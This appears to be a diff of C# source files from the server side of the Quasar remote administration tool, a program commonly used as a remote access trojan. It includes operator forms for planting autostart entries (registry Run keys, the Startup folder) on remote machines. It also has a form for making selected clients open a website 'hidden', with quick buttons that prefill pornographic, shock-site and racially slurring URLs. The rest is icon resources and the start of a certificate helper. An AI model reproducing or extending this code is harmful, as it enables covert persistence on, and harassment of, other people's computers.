<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+175
View File
@@ -0,0 +1,175 @@
namespace Quasar.Server.Forms
{
partial class FrmStartupAdd
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd));
this.groupAutostartItem = new System.Windows.Forms.GroupBox();
this.lblType = new System.Windows.Forms.Label();
this.cmbType = new System.Windows.Forms.ComboBox();
this.txtPath = new System.Windows.Forms.TextBox();
this.txtName = new System.Windows.Forms.TextBox();
this.lblPath = new System.Windows.Forms.Label();
this.lblName = new System.Windows.Forms.Label();
this.btnAdd = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
this.groupAutostartItem.SuspendLayout();
this.SuspendLayout();
//
// groupAutostartItem
//
this.groupAutostartItem.Controls.Add(this.lblType);
this.groupAutostartItem.Controls.Add(this.cmbType);
this.groupAutostartItem.Controls.Add(this.txtPath);
this.groupAutostartItem.Controls.Add(this.txtName);
this.groupAutostartItem.Controls.Add(this.lblPath);
this.groupAutostartItem.Controls.Add(this.lblName);
this.groupAutostartItem.Location = new System.Drawing.Point(12, 12);
this.groupAutostartItem.Name = "groupAutostartItem";
this.groupAutostartItem.Size = new System.Drawing.Size(653, 105);
this.groupAutostartItem.TabIndex = 0;
this.groupAutostartItem.TabStop = false;
this.groupAutostartItem.Text = "Autostart Item";
//
// lblType
//
this.lblType.AutoSize = true;
this.lblType.Location = new System.Drawing.Point(35, 74);
this.lblType.Name = "lblType";
this.lblType.Size = new System.Drawing.Size(33, 13);
this.lblType.TabIndex = 4;
this.lblType.Text = "Type:";
//
// cmbType
//
this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmbType.FormattingEnabled = true;
this.cmbType.Location = new System.Drawing.Point(74, 71);
this.cmbType.Name = "cmbType";
this.cmbType.Size = new System.Drawing.Size(573, 21);
this.cmbType.TabIndex = 5;
this.toolTip1.SetToolTip(this.cmbType, "Remote Type of Autostart Item.");
//
// txtPath
//
this.txtPath.Location = new System.Drawing.Point(74, 43);
this.txtPath.Name = "txtPath";
this.txtPath.Size = new System.Drawing.Size(573, 22);
this.txtPath.TabIndex = 3;
this.toolTip1.SetToolTip(this.txtPath, "Remote Path to Autostart Item.");
this.txtPath.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPath_KeyPress);
//
// txtName
//
this.txtName.Location = new System.Drawing.Point(74, 15);
this.txtName.MaxLength = 64;
this.txtName.Name = "txtName";
this.txtName.Size = new System.Drawing.Size(573, 22);
this.txtName.TabIndex = 1;
this.txtName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtName_KeyPress);
//
// lblPath
//
this.lblPath.AutoSize = true;
this.lblPath.Location = new System.Drawing.Point(35, 46);
this.lblPath.Name = "lblPath";
this.lblPath.Size = new System.Drawing.Size(33, 13);
this.lblPath.TabIndex = 2;
this.lblPath.Text = "Path:";
//
// lblName
//
this.lblName.AutoSize = true;
this.lblName.Location = new System.Drawing.Point(29, 18);
this.lblName.Name = "lblName";
this.lblName.Size = new System.Drawing.Size(39, 13);
this.lblName.TabIndex = 0;
this.lblName.Text = "Name:";
//
// btnAdd
//
this.btnAdd.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnAdd.Location = new System.Drawing.Point(576, 123);
this.btnAdd.Name = "btnAdd";
this.btnAdd.Size = new System.Drawing.Size(89, 23);
this.btnAdd.TabIndex = 1;
this.btnAdd.Text = "&Add";
this.btnAdd.UseVisualStyleBackColor = true;
this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click);
//
// btnCancel
//
this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnCancel.Location = new System.Drawing.Point(449, 123);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(89, 23);
this.btnCancel.TabIndex = 2;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
// FrmAddToAutostart
//
this.AcceptButton = this.btnAdd;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnCancel;
this.ClientSize = new System.Drawing.Size(677, 158);
this.Controls.Add(this.btnCancel);
this.Controls.Add(this.btnAdd);
this.Controls.Add(this.groupAutostartItem);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmAddToAutostart";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Add to Autostart";
this.groupAutostartItem.ResumeLayout(false);
this.groupAutostartItem.PerformLayout();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.GroupBox groupAutostartItem;
private System.Windows.Forms.TextBox txtPath;
private System.Windows.Forms.TextBox txtName;
private System.Windows.Forms.Label lblPath;
private System.Windows.Forms.Label lblName;
private System.Windows.Forms.ComboBox cmbType;
private System.Windows.Forms.Label lblType;
private System.Windows.Forms.Button btnAdd;
private System.Windows.Forms.Button btnCancel;
private System.Windows.Forms.ToolTip toolTip1;
}
}
+73
View File
@@ -0,0 +1,73 @@
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Models;
using System;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmStartupAdd : Form
{
public StartupItem StartupItem { get; set; }
public FrmStartupAdd()
{
InitializeComponent();
AddTypes();
}
public FrmStartupAdd(string startupPath)
{
InitializeComponent();
AddTypes();
txtName.Text = Path.GetFileNameWithoutExtension(startupPath);
txtPath.Text = startupPath;
}
/// <summary>
/// Adds all supported startup types to ComboBox groups.
/// </summary>
/// <remarks>
/// Must be in same order as <see cref="StartupType"/>.
/// </remarks>
private void AddTypes()
{
// must be in same order as StartupType
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
cmbType.SelectedIndex = 0;
}
private void btnAdd_Click(object sender, EventArgs e)
{
StartupItem = new StartupItem
{Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex};
this.DialogResult = DialogResult.OK;
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.DialogResult = DialogResult.Cancel;
this.Close();
}
private void txtName_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtPath_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
}
}
+200
View File
@@ -0,0 +1,200 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="toolTip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAA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AAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+184
View File
@@ -0,0 +1,184 @@
namespace Quasar.Server.Forms
{
partial class FrmVisitWebsite
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmVisitWebsite));
this.chkVisitHidden = new System.Windows.Forms.CheckBox();
this.lblURL = new System.Windows.Forms.Label();
this.txtURL = new System.Windows.Forms.TextBox();
this.btnVisitWebsite = new System.Windows.Forms.Button();
this.lblQuick = new System.Windows.Forms.Label();
this.btnQ1 = new System.Windows.Forms.Button();
this.btnQ2 = new System.Windows.Forms.Button();
this.btnQ3 = new System.Windows.Forms.Button();
this.btnQ4 = new System.Windows.Forms.Button();
this.btnQ5 = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// chkVisitHidden
//
this.chkVisitHidden.AutoSize = true;
this.chkVisitHidden.Checked = true;
this.chkVisitHidden.CheckState = System.Windows.Forms.CheckState.Checked;
this.chkVisitHidden.Location = new System.Drawing.Point(48, 38);
this.chkVisitHidden.Name = "chkVisitHidden";
this.chkVisitHidden.Size = new System.Drawing.Size(170, 17);
this.chkVisitHidden.TabIndex = 2;
this.chkVisitHidden.Text = "Visit hidden (recommended)";
this.chkVisitHidden.UseVisualStyleBackColor = true;
//
// lblURL
//
this.lblURL.AutoSize = true;
this.lblURL.Location = new System.Drawing.Point(12, 9);
this.lblURL.Name = "lblURL";
this.lblURL.Size = new System.Drawing.Size(30, 13);
this.lblURL.TabIndex = 0;
this.lblURL.Text = "URL:";
//
// txtURL
//
this.txtURL.Location = new System.Drawing.Point(48, 6);
this.txtURL.Name = "txtURL";
this.txtURL.Size = new System.Drawing.Size(336, 22);
this.txtURL.TabIndex = 1;
//
// btnVisitWebsite
//
this.btnVisitWebsite.Location = new System.Drawing.Point(246, 34);
this.btnVisitWebsite.Name = "btnVisitWebsite";
this.btnVisitWebsite.Size = new System.Drawing.Size(138, 23);
this.btnVisitWebsite.TabIndex = 3;
this.btnVisitWebsite.Text = "Visit Website";
this.btnVisitWebsite.UseVisualStyleBackColor = true;
this.btnVisitWebsite.Click += new System.EventHandler(this.btnVisitWebsite_Click);
//
// lblQuick
//
this.lblQuick.AutoSize = true;
this.lblQuick.Location = new System.Drawing.Point(12, 68);
this.lblQuick.Name = "lblQuick";
this.lblQuick.Size = new System.Drawing.Size(38, 13);
this.lblQuick.TabIndex = 10;
this.lblQuick.Text = "Quick:";
//
// btnQ1 - PHub Gay
//
this.btnQ1.Location = new System.Drawing.Point(55, 64);
this.btnQ1.Name = "btnQ1";
this.btnQ1.Size = new System.Drawing.Size(63, 22);
this.btnQ1.TabIndex = 11;
this.btnQ1.Text = "PHub Gay";
this.btnQ1.UseVisualStyleBackColor = true;
this.btnQ1.Click += new System.EventHandler(this.btnQ1_Click);
//
// btnQ2 - NiggaFart
//
this.btnQ2.Location = new System.Drawing.Point(121, 64);
this.btnQ2.Name = "btnQ2";
this.btnQ2.Size = new System.Drawing.Size(63, 22);
this.btnQ2.TabIndex = 12;
this.btnQ2.Text = "NiggaFart";
this.btnQ2.UseVisualStyleBackColor = true;
this.btnQ2.Click += new System.EventHandler(this.btnQ2_Click);
//
// btnQ3 - MeatSpin
//
this.btnQ3.Location = new System.Drawing.Point(187, 64);
this.btnQ3.Name = "btnQ3";
this.btnQ3.Size = new System.Drawing.Size(63, 22);
this.btnQ3.TabIndex = 13;
this.btnQ3.Text = "LemonParty";
this.btnQ3.UseVisualStyleBackColor = true;
this.btnQ3.Click += new System.EventHandler(this.btnQ3_Click);
//
// btnQ4 - NHentai
//
this.btnQ4.Location = new System.Drawing.Point(253, 64);
this.btnQ4.Name = "btnQ4";
this.btnQ4.Size = new System.Drawing.Size(63, 22);
this.btnQ4.TabIndex = 14;
this.btnQ4.Text = "NHentai";
this.btnQ4.UseVisualStyleBackColor = true;
this.btnQ4.Click += new System.EventHandler(this.btnQ4_Click);
//
// btnQ5 - E621
//
this.btnQ5.Location = new System.Drawing.Point(319, 64);
this.btnQ5.Name = "btnQ5";
this.btnQ5.Size = new System.Drawing.Size(63, 22);
this.btnQ5.TabIndex = 15;
this.btnQ5.Text = "E621 (furry)";
this.btnQ5.UseVisualStyleBackColor = true;
this.btnQ5.Click += new System.EventHandler(this.btnQ5_Click);
//
// FrmVisitWebsite
//
this.AcceptButton = this.btnVisitWebsite;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(396, 96);
this.Controls.Add(this.chkVisitHidden);
this.Controls.Add(this.lblURL);
this.Controls.Add(this.txtURL);
this.Controls.Add(this.btnVisitWebsite);
this.Controls.Add(this.lblQuick);
this.Controls.Add(this.btnQ1);
this.Controls.Add(this.btnQ2);
this.Controls.Add(this.btnQ3);
this.Controls.Add(this.btnQ4);
this.Controls.Add(this.btnQ5);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmVisitWebsite";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Visit Website []";
this.Load += new System.EventHandler(this.FrmVisitWebsite_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.CheckBox chkVisitHidden;
private System.Windows.Forms.Label lblURL;
private System.Windows.Forms.TextBox txtURL;
private System.Windows.Forms.Button btnVisitWebsite;
private System.Windows.Forms.Label lblQuick;
private System.Windows.Forms.Button btnQ1;
private System.Windows.Forms.Button btnQ2;
private System.Windows.Forms.Button btnQ3;
private System.Windows.Forms.Button btnQ4;
private System.Windows.Forms.Button btnQ5;
}
}
+40
View File
@@ -0,0 +1,40 @@
using System;
using System.Windows.Forms;
using Quasar.Server.Helper;
namespace Quasar.Server.Forms
{
public partial class FrmVisitWebsite : Form
{
public string Url { get; set; }
public bool Hidden { get; set; }
private readonly int _selectedClients;
public FrmVisitWebsite(int selected)
{
_selectedClients = selected;
InitializeComponent();
}
private void FrmVisitWebsite_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients);
}
private void btnVisitWebsite_Click(object sender, EventArgs e)
{
Url = txtURL.Text;
Hidden = chkVisitHidden.Checked;
this.DialogResult = DialogResult.OK;
this.Close();
}
private void btnQ1_Click(object sender, EventArgs e) { txtURL.Text = "https://www.pornhub.com/gay"; }
private void btnQ2_Click(object sender, EventArgs e) { txtURL.Text = "https://www.niggafart.com"; }
private void btnQ3_Click(object sender, EventArgs e) { txtURL.Text = "https://www.lemonparty.org"; }
private void btnQ4_Click(object sender, EventArgs e) { txtURL.Text = "https://nhentai.net"; }
private void btnQ5_Click(object sender, EventArgs e) { txtURL.Text = "https://e621.net"; }
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>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/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+85
View File
@@ -0,0 +1,85 @@
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Operators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.X509;
using Org.BouncyCastle.X509.Extension;
using System;
using System.Security.Cryptography.X509Certificates;
namespace Quasar.Server.Helper
{
public static class CertificateHelper
{
public static X509Certificate2 CreateCertificate(string certName, X509Certificate2 ca, int keyStrength)
{
var caCert = DotNetUtilities.FromX509Certificate(ca);
